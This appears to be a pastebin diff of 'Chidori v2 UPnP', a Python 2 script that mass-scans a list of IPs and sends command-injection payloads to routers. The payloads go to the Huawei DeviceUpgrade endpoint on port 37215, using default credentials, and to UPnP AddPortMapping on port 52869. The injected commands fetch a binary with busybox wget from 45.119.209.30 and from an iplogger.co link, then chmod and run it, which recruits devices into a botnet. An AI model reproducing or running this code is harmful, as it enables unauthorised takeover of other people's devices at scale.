SHOW:
|
|
- or go back to the newest paste.
| 1 | #! python !# | |
| 2 | - | # Chidori v2 UPnP | By; LiGhT |
| 2 | + | # Chidori v2 UPnP |
| 3 | ||
| 4 | import sys, os, re | |
| 5 | from threading import Thread | |
| 6 | from time import sleep | |
| 7 | import requests | |
| 8 | from requests.auth import HTTPDigestAuth | |
| 9 | from decimal import * | |
| 10 | ||
| 11 | ips = open(sys.argv[1], "r").readlines() | |
| 12 | motherthreads = int(sys.argv[2]) #2-1000 | |
| 13 | motherthread_count = len(ips) / motherthreads | |
| 14 | motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)] | |
| 15 | ||
| 16 | cmd = "cd /tmp;/bin/busybox wget -g 45.119.209.30 -l /tmp/MIPS -r /MIPS; chmod 777 /tmp/MIPS; ./tmp/MIPS" | |
| 17 | payload2 = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
| |
| 18 | ||
| 19 | p = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;wget http://iplogger.co/2qWq45 -O- >ZIPS`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>" | |
| 20 | pp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /var/ZIPS`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>" | |
| 21 | ppp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;./ZIPS S &`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>" | |
| 22 | ||
| 23 | headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
| |
| 24 | ||
| 25 | def dump(count): | |
| 26 | count = int(count) | |
| 27 | for i in motherthread_chunks[count]: | |
| 28 | try: | |
| 29 | url = "http://"+i+":37215/ctrlt/DeviceUpgrade_1" | |
| 30 | url2 = "http://"+i+":52869/picsdesc.xml" | |
| 31 | url = re.sub('\n', '', url)
| |
| 32 | url2 = re.sub('\n', '', url2)
| |
| 33 | requests.post(url, timeout=8, data=payload2, auth=HTTPDigestAuth('dslf-config', 'admin'))
| |
| 34 | requests.post(url2, timeout=8, headers=headerlist, data=p) | |
| 35 | requests.post(url2, timeout=8, headers=headerlist, data=pp) | |
| 36 | requests.post(url2, timeout=5, headers=headerlist, data=ppp) | |
| 37 | print "PAYLOAD SENT %s"%(url) | |
| 38 | motherthread_chunks[count] = motherthread_chunks[count].remove(i) | |
| 39 | time.sleep(0.001) | |
| 40 | except: | |
| 41 | pass | |
| 42 | ||
| 43 | for x in xrange(motherthreads): | |
| 44 | try: | |
| 45 | thread = Thread(target=dump, args=(x,)) | |
| 46 | thread.start() | |
| 47 | except KeyboardInterrupt: | |
| 48 | sys.exit("STOPPING!")
| |
| 49 | except: | |
| 50 | pass |
